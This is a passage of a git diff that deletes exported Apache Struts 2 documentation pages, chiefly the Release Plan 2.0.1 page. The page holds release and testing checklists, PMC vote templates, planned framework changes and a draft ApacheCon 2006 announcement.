-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> # </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Completed </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> 1. </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> Run Unit Test targets </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> <img  [...]
-
-
-<p>TODO: A Silenium test suite for the applications would be great!</p>
-
-<h2 id="ReleasePlan2.0.0-TestBuildDistributionChecklist(A)">Test Build Distribution Checklist (A)</h2>
-
-<p>See also <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&amp;title=Creating+and+Signing+Releases&amp;linkCreation=true&amp;fromPageId=19602">Creating and Signing Releases</a></p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> # </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Completed </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> A1. </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> Setup new JIRA version level or update release on Roadmap </p></td><th colspan="1" rowsp [...]
-
-
-<h3 id="ReleasePlan2.0.0-Vote(A)">Vote (A)</h3>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<ul><li>If release vote fails, including for a lack of quorum (3 binding +1s), remove from builds folder.</li><li>If a release vote passes (Alpha, Beta or GA), the release may be announced and mirrored, at the PMC's discretion.</li><li>If vote is GA, goto Checklist (C).</li></ul>
-
-
-<h2 id="ReleasePlan2.0.0-PointReleaseDistributionChecklist(B)">Point Release Distribution Checklist (B)</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> B1. </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> Update "Downooads" page on website and Test Downloads </p></td><th colspan="1" rowspan="1" class="confluenceTh"><p> ${STATUS} </p></th></tr></tbody></table></div>
-
-
-<h3 id="ReleasePlan2.0.0-Vote(B)">Vote (B)</h3>
-
-<p>If initial vote is Alpha or Beta, voting can continue until a GA or "withdraw" vote passes, or there is a subsequent release.</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h2 id="ReleasePlan2.0.0-GeneralAvailabilityDistributionChecklist(C)">General Availability Distribution Checklist (C) </h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><ol></ol>
-</th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Completed </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> C1. </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> Copy Distribution to Mirrored Directories </p></td><th colspan="1" rowspan="1" class="confluenceTh"><p> ${STATUS} </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> C2. </p></td><td colspan="1" [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-plan-201.html b/content/docs/release-plan-201.html
deleted file mode 100644
index b8383e2..0000000
--- a/content/docs/release-plan-201.html
+++ /dev/null
@@ -1,372 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Plan 2.0.1</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-plan-201.html">Release Plan 2.0.1</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Plan 2.0.1</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=26390">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=26390">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=26390">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=26390">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=26390">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=26390">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><ul><li>Struts 2.0.1 is preparing a "release candidate" build.</li><li>Documentation issues remain as to migrating.</li><li>Assembly/distribution issues remain.</li></ul>
-
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> For resolved issues, see <a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10693">Struts 2.0.1 DONE</a> in the issue tracker. </p>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> For known and pending issues (if any) see <a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/IssueNavigator.jspa?mode=hide&amp;requestId=10682">Struts 2.0.1 TODO</a> in the issue tracker. </p>
-
-<h2 id="ReleasePlan2.0.1-OverallStatus">Overall Status</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <a shape="rect" class="external-link" href="http://issues.apache.org/struts/browse/SITE-3">Setup Nightly Builds</a> </p></td><th colspan="1" rowspan="1" class="confluenceTh"><p> Pending </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> <img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0a [...]
-
-
-<h2 id="ReleasePlan2.0.1-AdditionalBackground">Additional Background</h2>
-
-<ul><li><a shape="rect" class="external-link" href="http://issues.apache.org/struts/browse/WW-1453">Struts 2.0.1 omnibus ticket</a></li><li><a shape="rect" class="external-link" href="http://wiki.apache.org/struts/StrutsTi">Struts Ti Proposal</a></li><li><a shape="rect" class="external-link" href="http://wiki.apache.org/struts/StrutsAction2">Migration Issues</a></li><li><a shape="rect" class="external-link" href="http://wiki.apache.org/struts/RoughSpots">Struts 2 Rough Spots</a></li><li> [...]
-
-
-<h2 id="ReleasePlan2.0.1-ReleaseManager">Release Manager</h2>
-
-<p>The release manager is <strong>Ted Husted</strong>.</p>
-<ul><li>See also <a shape="rect" href="creating-and-signing-a-distribution.html">Creating and Signing a Distribution</a></li></ul>
-
-
-<h2 id="ReleasePlan2.0.1-SpecialIssues">Special Issues</h2>
-
-<p>Struts 2.0 is based on the WebWork 2.2 codebase. Essentially, Struts 2.0 will be the technical equivalent of WebWork 2.3. (The WebWork 2 codebase was accepted into the Struts project through the <a shape="rect" class="external-link" href="http://incubator.apache.org/projects/webwork2.html">Apache Incubator</a>.) </p>
-
-<p>For Struts 2.0, the core goals are to repackage the codebase as an Apache Struts product and to provide migration resources for Struts 1 and WW 2 developers. A few legacy API elements will be removed, and a few new features will be added. </p>
-
-<p>The Struts 2.0 release is following the <a shape="rect" class="external-link" href="http://wiki.apache.org/struts/StrutsTi">Struts Ti Proposal</a>. Struts 2.0 is Phase 1 of the proposal. A subsequent Struts release series (either Struts 2.1 or Struts 3.0) will address Phase 2 of the proposal.</p>
-
-<p>The platform for Struts 2.0.x is Java 1.5, with Java 1.4 compatibity provided by <a shape="rect" class="external-link" href="http://retrotranslator.sourceforge.net/" rel="nofollow">RetoTranslator</a>.</p>
-
-<p>See also <a shape="rect" class="external-link" href="http://wiki.apache.org/struts/StrutsAction2">Struts 2</a>.</p>
-
-<h2 id="ReleasePlan2.0.1-NewFeaturesUnderConsideration">New Features Under Consideration</h2>
-
-<p>The initial list of new features is taken from the <a shape="rect" class="external-link" href="http://wiki.apache.org/struts/RoughSpots">Struts 2 Rough Spots</a> page.</p>
-
-<p>Some new features were added in <a shape="rect" href="release-plan-200.html">Struts 2.0.0</a>.</p>
-
-<h3 id="ReleasePlan2.0.1-ReviewandRefinement">Review and Refinement</h3>
-
-<ul><li>Separate classes that most applications need to use. Isolate classes that the framework uses internally or that are rarely used by applications.  (See Rough Spot #3.)</li><li>Distinguish between the published public versus private APIs. (See Rough Spot #4.)</li><li>Utilize properties (methods) instead of protected or public fields (). (See #13.)</li><li>Review exception handling. Some are still being swallowed rather than rethrown. (See #20 and <a shape="rect" class="unresolved"  [...]
-
-
-<h3 id="ReleasePlan2.0.1-Modifications">Modifications</h3>
-
-<ul><li>Simplify TextProvider. (See #15.)</li><li>Modify ParametersInterceptor to sort parameter names by depth (using bucket sort) and then map them in that order (shallowest first). (See #21.)</li><li>Use the strategy pattern to swap in different implementations of interfaces like ValidationAware. (See Tim, NTH #1.)</li></ul>
-
-
-<h3 id="ReleasePlan2.0.1-Configuration">Configuration</h3>
-
-<ul><li>Add support  type aliasing (a la Spring and iBATIS) to reduce or eliminate need to use fully-qualified class names, over and over. The fully-qualified type is declared once, and then a simple type "nickname" can be used instead. (See #23.)
-	<ul><li>An alternative to this issue is adding a default=action-class-ref so that packages can designate a default class other than ActionSupport.</li></ul>
-	</li><li>Combine configuration DTDs so that Actions, Messages, and Validators can be defined in a single file. (See Ted, #1.)</li><li>Use values on the stack to override/define configuration options. (See Tim, NTH #3.)</li></ul>
-
-
-<h3 id="ReleasePlan2.0.1-OGNL">OGNL</h3>
-
-<ul><li>On the OGNL value stack, rename #request for request parameters and #requestAttributes for request attributes. (See #17 and <a shape="rect" class="unresolved" href="#">WW-785@ww</a>.)</li><li>Work with OGNL to add Java 5 support. (See #31.)</li><li>Work with OGNL to make it a clear superset of JSTL. (See Gabe #4.)</li></ul>
-
-
-<h3 id="ReleasePlan2.0.1-Struts1FeaturestoImplement"><a shape="rect" class="unresolved" href="#">Struts 1 Features to Implement</a> </h3>
-
-<ul><li>Extends for action mappings (See Tim, NTH #2.)</li><li><a shape="rect" class="unresolved" href="#">Set field focus</a></li></ul>
-
-
-<h2 id="ReleasePlan2.0.1-TestingChecklist">Testing Checklist</h2>
-
-<h3 id="ReleasePlan2.0.1-TestingSummary">Testing Summary </h3>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> # </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Completed </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> 1. </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> Run Unit Test targets </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> <img  [...]
-
-
-<p>TODO: A Silenium test suite for the applications would be great!</p>
-
-<h2 id="ReleasePlan2.0.1-TestBuildDistributionChecklist(A)">Test Build Distribution Checklist (A)</h2>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> See also <a shape="rect" href="creating-and-signing-a-distribution.html">Creating and Signing a Distribution</a></p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> # </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Completed </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> A1. </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> Setup new JIRA version level for next distribution </p></td><th colspan="1" rowspan="1"  [...]
-
-
-<h3 id="ReleasePlan2.0.1-Vote(A)">Vote (A)</h3>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<ul><li>If release vote fails, including for a lack of quorum (3 binding +1s), remove from builds folder.</li><li>If a release vote passes (Alpha, Beta or GA), the release may be announced and mirrored, at the PMC's discretion.</li><li>If vote is GA, goto Checklist (C).</li></ul>
-
-
-<h2 id="ReleasePlan2.0.1-PointReleaseDistributionChecklist(B)">Point Release Distribution Checklist (B)</h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> B1. </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> Update "Downooads" page on website and Test Downloads </p></td><th colspan="1" rowspan="1" class="confluenceTh"><p> <img class="emoticon emoticon-light-off" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb.png" data-emoticon [...]
-
-
-<h3 id="ReleasePlan2.0.1-Vote(B)">Vote (B)</h3>
-
-<p>If initial vote is Alpha or Beta, voting can continue until a GA or "withdraw" vote passes, or there is a subsequent release.</p>
-
-<h4 id="ReleasePlan2.0.1-struts2-all">struts2-all</h4>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h4 id="ReleasePlan2.0.1-struts2-api">struts2-api</h4>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h4 id="ReleasePlan2.0.1-struts2-core">struts2-core</h4>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h4 id="ReleasePlan2.0.1-Plugins">Plugins</h4>
-
-<h5 id="ReleasePlan2.0.1-struts2-config-browser-plugin">struts2-config-browser-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.1-struts2-jasperreports-plugin">struts2-jasperreports-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.1-struts2-jfreechart-plugin">struts2-jfreechart-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.1-struts2-jsf-plugin">struts2-jsf-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.1-struts2-pell-multipart-plugin">struts2-pell-multipart-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.1-struts2-plexus-plugin">struts2-plexus-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.1-struts2-quickstart">struts2-quickstart</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.1-struts2-sitemesh-plugin">struts2-sitemesh-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.1-struts2-sitegraph">struts2-sitegraph</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.1-struts1-plugin">struts1-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-<h5 id="ReleasePlan2.0.1-struts2-tiles-plugin">struts2-tiles-plugin</h5>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> ${PMC_MEMBER} </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> ${GRADE} </p></td></tr></tbody></table></div>
-
-
-
-<h2 id="ReleasePlan2.0.1-GeneralAvailabilityDistributionChecklist(C)">General Availability Distribution Checklist (C) </h2>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><ol></ol>
-</th><th colspan="1" rowspan="1" class="confluenceTh"><p> Description </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Completed </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> C1. </p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> Copy Distribution to Mirrored Directories </p></td><th colspan="1" rowspan="1" class="confluenceTh"><p><img class="emoticon emoticon-light-off" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8b [...]
-
-
-<hr>
-
-<h1 id="ReleasePlan2.0.1-DraftAnnouncementforApacheCon">Draft Announcement for ApacheCon </h1>
-
-<p>The Apache Struts project is pleased to announce the availability of the Struts 2.0.1 development build. </p>
-
-<p>Struts 2 was originally known as WebWork 2. After working independently for several years, the WebWork and Struts communities joined forces to create Struts 2. This new version of Struts is designed to be simpler to use and closer to how Struts was always meant to be. Some key changes are: </p>
-
-<p>Smarter! </p>
-
-<p>Improved Design - All Struts 2 classes are based on interfaces. Core interfaces are HTTP independent. </p>
-
-<p>Intelligent Defaults - Most configuration elements have a default value that we can set and forget. </p>
-
-<p>Enhanced Results - Unlike ActionForwards, Struts 2 Results can actually help prepare the response. </p>
-
-<p>Enhanced Tags - Struts 2 tags don't just output data, but provides stylesheet-driven markup, so that we can create consistent pages with less code.</p>
-
-<p>First-class AJAX support - The AJAX theme gives interactive applications a significant boost. </p>
-
-<p>Stateful Checkboxes - Struts 2 checkboxes do not require special handling for false values.</p>
-
-<p>QuickStart - Many changes can be made on the fly without restarting a web container. </p>
-
-
-<p>Easier! </p>
-
-<p>Easy-to-test Actions - Struts 2 Actions are HTTP independent and can be tested without resorting to mock objects. </p>
-
-<p>Easy-to-customize controller - Struts 1 lets us customize the request processor per module, Struts 2 lets us customize the request handling per action, if desired. </p>
-
-<p>Easy-to-tweak tags - Struts 2 tag markup can be altered by changing an underlying stylesheet. Individual tag markup can be changed by editing a FreeMarker template. No need to grok the taglib API! Both JSP and FreeMarker tags are fully supported. </p>
-
-<p>Easy cancel handling - The Struts 2 Cancel button can go directly to a different action. </p>
-
-<p>Easy Spring integration - Struts 2 Actions are Spring-aware. Just add Spring beans!</p>
-
-<p>Easy plugins - Struts 2 extensions can be added by dropping in a JAR. No manual configuration required!</p>
-
-
-<p>POJO-ier! </p>
-
-<p>POJO forms - No more ActionForms! We can use any JavaBean we like or put properties directly on our Action classes. No need to use all String properties! </p>
-
-<p>POJO Actions - Any class can be used as an Action class. We don't even have to implement an interface! </p>
-
-<p>For more, visit the Apache Struts website</p>
-
-<ul><li><a shape="rect" class="external-link" href="http://struts.apache.org/2.x/index.html">http://struts.apache.org/2.x/index.html</a></li></ul>
-
-
-<p>Three Struts related events will be hosted at ApacheCon US 2006.</p>
-
-<ul><li>Migrating to Struts 2 - Tutorial with Ted Husted, Monday, October 9 at 1:30pm in Room 3 (pre-registration required).</li><li>Struts 2.0 - Session with Don Brown, Wednesday, October 11 at 11:30am in Room 4.</li><li>Apache Struts Birds of a Feather session - Thursday, October 12 at 9pm in Room 4.</li></ul>
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/release-plan-202.html b/content/docs/release-plan-202.html
deleted file mode 100644
index b8ce893..0000000
--- a/content/docs/release-plan-202.html
+++ /dev/null
@@ -1,315 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Release Plan 2.0.2</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="migration-guide.html">Migration Guide</a>&nbsp;&gt;&nbsp;<a href="release-plan-202.html">Release Plan 2.0.2</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Release Plan 2.0.2</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27297">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
